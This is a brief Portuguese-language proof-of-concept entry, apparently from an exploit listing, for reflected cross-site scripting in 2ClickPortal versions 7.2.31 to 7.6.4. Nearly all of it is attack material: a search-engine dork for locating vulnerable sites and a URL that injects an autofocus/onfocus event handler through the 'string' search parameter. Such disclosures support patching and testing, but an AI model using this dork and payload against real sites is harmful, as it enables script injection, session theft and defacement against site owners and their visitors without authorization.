
Exploração de prova de conceito para vulnerabilidade XSS refletida no 2ClickPortal versões 7.2.31 a 7.6.4, com um payload de injeção em parâmetro de pesquisa.
XSS Refletido no 2ClickPortal
Versão: de 7.2.31 a 7.6.4.
intext:"Powered by 2ClickPortal"
https://[domain]/szukaj/?search_lang=pl&search=all&string=" onfocus=alert(1) autofocus="